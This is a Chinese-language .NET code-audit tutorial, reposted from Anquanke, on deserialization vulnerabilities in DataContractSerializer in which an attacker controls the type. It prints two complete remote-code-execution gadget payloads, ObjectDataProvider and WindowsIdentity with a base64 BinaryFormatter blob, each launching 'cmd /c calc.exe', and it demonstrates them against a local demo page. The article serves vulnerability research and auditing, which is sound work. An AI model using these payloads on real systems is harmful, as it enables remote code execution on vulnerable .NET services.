原文來自安全客,作者:Ivan1ee@360云影實驗室
原文鏈接:https://www.anquanke.com/post/id/175796

相關閱讀:

0X00 前言

DataContractSerializer類用于序列化和反序列化Windows Communication Foundation (WCF) 消息中發送的數據,用于把CLR數據類型序列化成XML流,它位于命名空間System.Runtime.Serialization,繼承于System.Runtime.Serialization.XmlObjectSerializer,在某些場景下開發者使用DataContractSerializer.ReadObject讀取了惡意的XML數據就會造成反序列化漏洞,從而實現遠程RCE攻擊,本文筆者從原理和代碼審計的視角做了相關介紹和復現。

0X01 DataContractSerializer序列化

類名使用DataContractAttribute 標記,類成員使用DataMemberAttribute 標記,可指定要序列化的屬性和字段,下面先來看這個系列課程中經典的一段代碼

img

TestClass對象定義了三個成員,并實現了一個靜態方法ClassMethod啟動進程。 序列化通過創建對象實例分別給成員賦值

img

使用DataContractSerializer.WriteObject非常方便的實現.NET對象與XML數據之間的轉化,筆者定義TestClass對象,常規下使用WriteObject得到序列化后的XML數據

<TestClass xmlns="http://schemas.datacontract.org/2004/07/WpfApp1" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"><Age>18</Age><Classname>360</Classname><Name>Ivan1ee</Name></TestClass>

0x02 DataContractSerializer反序列化

2.1、反序列化原理和用法

反序列過程是將XML流或者數據轉換為對象,在DataContractSerializer類中創建對象然后調用ReadObject方法實現的

img

首先看DataContractSerializer類的定義,創建實例的時候會帶入類型解析器

img

然后在初始化方法 Initialize里將Type類型解析器賦值給成員rootType

img

反序列化過程中使用ReadObject方法調用了ReadObjectHandleExceptions方法,省略一些非核心代碼,進入InternalReadObject方法體內

img

ReadDataContractValue方法體內返回用ReadXmlValue處理后的數據,

img

從下圖可以看出這是一個C#里的虛方法,在用System.Runtime.Serialization.DiagnosticUtility類處理數據的時候通過DataContract.GetClrTypeFullName得到CLR數據類型的全限定名。

img

下圖Demo展示了序列化和反序列化前后的效果

img

反序列化后得到對象的屬性,打印輸出成員Name的值。

img

2.2、攻擊向量—ObjectDataProvider

漏洞的觸發點是在于初始化DataContractSerializer類實例時,參數類型解析器type是否可控,也就是說攻擊者需要控制重構對象的類型,若可控的情況下并且反序列化了惡意的Xml數據就可以觸發反序列化漏洞。筆者繼續選擇ObjectDataProvider類方便調用任意被引用類中的方法,具體有關此類的用法可以看一下《.NET高級代碼審計(第一課) XmlSerializer反序列化漏洞》,因為Process.Start之前需要配置ProcessStartInfo類相關的屬性,例如指定文件名、指定啟動參數,所以首先考慮序列化ProcessStartInfo再來序列化Process類調用StartInfo啟動程序,然后需要對其做減法,去掉無關的System.RuntimeType、System.IntPtr窗口句柄數據,下面是國外研究者提供的反序列化Payload

<?xml version=""1.0""?>

<root xmlns:xsi=""http://www.w3.org/2001/XMLSchema-instance"" xmlns:xsd=""http://www.w3.org/2001/XMLSchema"" type=""System.Data.Services.Internal.ExpandedWrapper`2[[System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"">

    <ExpandedWrapperOfProcessObjectDataProviderpaO_SOqJL xmlns=""http://schemas.datacontract.org/2004/07/System.Data.Services.Internal""                                                     xmlns:i=""http://www.w3.org/2001/XMLSchema-instance""                                                      xmlns:z=""http://schemas.microsoft.com/2003/10/Serialization/"">

      <ExpandedElement z:Id=""ref1"" xmlns:a=""http://schemas.datacontract.org/2004/07/System.Diagnostics"">

        <__identity i:nil=""true"" xmlns=""http://schemas.datacontract.org/2004/07/System""/>

      </ExpandedElement>

      <ProjectedProperty0 xmlns:a=""http://schemas.datacontract.org/2004/07/System.Windows.Data"">

        <a:MethodName>Start</a:MethodName>

        <a:MethodParameters xmlns:b=""http://schemas.microsoft.com/2003/10/Serialization/Arrays"">

          <b:anyType i:type=""c:string"" xmlns:c=""http://www.w3.org/2001/XMLSchema"">cmd</b:anyType>

          <b:anyType i:type=""c:string"" xmlns:c=""http://www.w3.org/2001/XMLSchema"">/c calc.exe</b:anyType>

        </a:MethodParameters>

        <a:ObjectInstance z:Ref=""ref1""/>

      </ProjectedProperty0>

    </ExpandedWrapperOfProcessObjectDataProviderpaO_SOqJL>

</root>

img

設計的Demo里使用ReadObject(new XmlTextReader(new StringReader(xmlItem.InnerXml)))反序列化成功彈出計算器。

img

2.3、攻擊向量—WindowsIdentity

第二種攻擊方法使用WindowsIdentity類,這個類繼承了ClaimsIdentity,并且實現了ISerializable接口,實現這個接口好處是可以控制你想反序列化的數據類型,此外還可以避免用到反射機制從而提高了運行速度。具體有關此類的用法可以看一下《.NET高級代碼審計(第二課) Json.Net反序列化漏洞》,下面是國外研究者提供的反序列化Poc

<root xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" type="System.Security.Principal.WindowsIdentity, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">

    <WindowsIdentity xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns:x="http://www.w3.org/2001/XMLSchema" xmlns="http://schemas.datacontract.org/2004/07/System.Security.Principal">

      <System.Security.ClaimsIdentity.bootstrapContext i:type="x:string" xmlns="">AAEAAAD/////AQAAAAAAAAAMAgAAAElTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAACEAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLlNvcnRlZFNldGAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQQAAAAFQ291bnQIQ29tcGFyZXIHVmVyc2lvbgVJdGVtcwADAAYIjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0IAgAAAAIAAAAJAwAAAAIAAAAJBAAAAAQDAAAAjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0BAAAAC19jb21wYXJpc29uAyJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyCQUAAAARBAAAAAIAAAAGBgAAAAsvYyBjYWxjLmV4ZQYHAAAAA2NtZAQFAAAAIlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIDAAAACERlbGVnYXRlB21ldGhvZDAHbWV0aG9kMQMDAzBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRlRW50cnkvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIJCAAAAAkJAAAACQoAAAAECAAAADBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRlRW50cnkHAAAABHR5cGUIYXNzZW1ibHkGdGFyZ2V0EnRhcmdldFR5cGVBc3NlbWJseQ50YXJnZXRUeXBlTmFtZQptZXRob2ROYW1lDWRlbGVnYXRlRW50cnkBAQIBAQEDMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQYLAAAAsAJTeXN0ZW0uRnVuY2AzW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldLFtTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldLFtTeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcywgU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBgwAAABLbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5CgYNAAAASVN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkGDgAAABpTeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcwYPAAAABVN0YXJ0CRAAAAAECQAAAC9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgcAAAAETmFtZQxBc3NlbWJseU5hbWUJQ2xhc3NOYW1lCVNpZ25hdHVyZQpTaWduYXR1cmUyCk1lbWJlclR5cGUQR2VuZXJpY0FyZ3VtZW50cwEBAQEBAAMIDVN5c3RlbS5UeXBlW10JDwAAAAkNAAAACQ4AAAAGFAAAAD5TeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcyBTdGFydChTeXN0ZW0uU3RyaW5nLCBTeXN0ZW0uU3RyaW5nKQYVAAAAPlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzIFN0YXJ0KFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpCAAAAAoBCgAAAAkAAAAGFgAAAAdDb21wYXJlCQwAAAAGGAAAAA1TeXN0ZW0uU3RyaW5nBhkAAAArSW50MzIgQ29tcGFyZShTeXN0ZW0uU3RyaW5nLCBTeXN0ZW0uU3RyaW5nKQYaAAAAMlN5c3RlbS5JbnQzMiBDb21wYXJlKFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpCAAAAAoBEAAAAAgAAAAGGwAAAHFTeXN0ZW0uQ29tcGFyaXNvbmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQkMAAAACgkMAAAACRgAAAAJFgAAAAoL</System.Security.ClaimsIdentity.bootstrapContext>

       </WindowsIdentity>

</root>

img

將Demo中的變量替換掉后,在拋出異常之前成功觸發計算器,效果如下圖

0x03 代碼審計視角

3.1、ReadObject

從代碼審計的角度很容易找到漏洞的EntryPoint,通過前面幾個小節的知識能發現需要滿足一個類型解析器type可控,再傳入XML,就可以被反序列化,例如下面的DataContractSerializer類

img

0x04 案例復盤

  1. 使用ObjectDataProvider攻擊向量,輸入http://localhost:5651/Default Post加載value值

    img

  2. 通過ReadObject 反序列化 ,并彈出計算器,網頁返回200。

    img

  3. 使用WindowsIdentity攻擊向量,輸入http://localhost:5651/Default Post加載value值,彈出計算器的同時,服務也會掛掉。

    img

最后附上動態效果圖

img

0x05 總結

DataContractSerializer在實際開發中使用頻率較高,但因type需可控才能實施攻擊,所以攻擊成本相對來說較高。最后.NET反序列化系列課程筆者會同步到 https://github.com/Ivan1ee/https://ivan1ee.gitbook.io/ ,后續筆者將陸續推出高質量的.NET反序列化漏洞文章,歡迎大伙持續關注,交流,更多的.NET安全和技巧可關注實驗室公眾號。

img


本文經安全客授權發布,轉載請聯系安全客平臺。


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/882/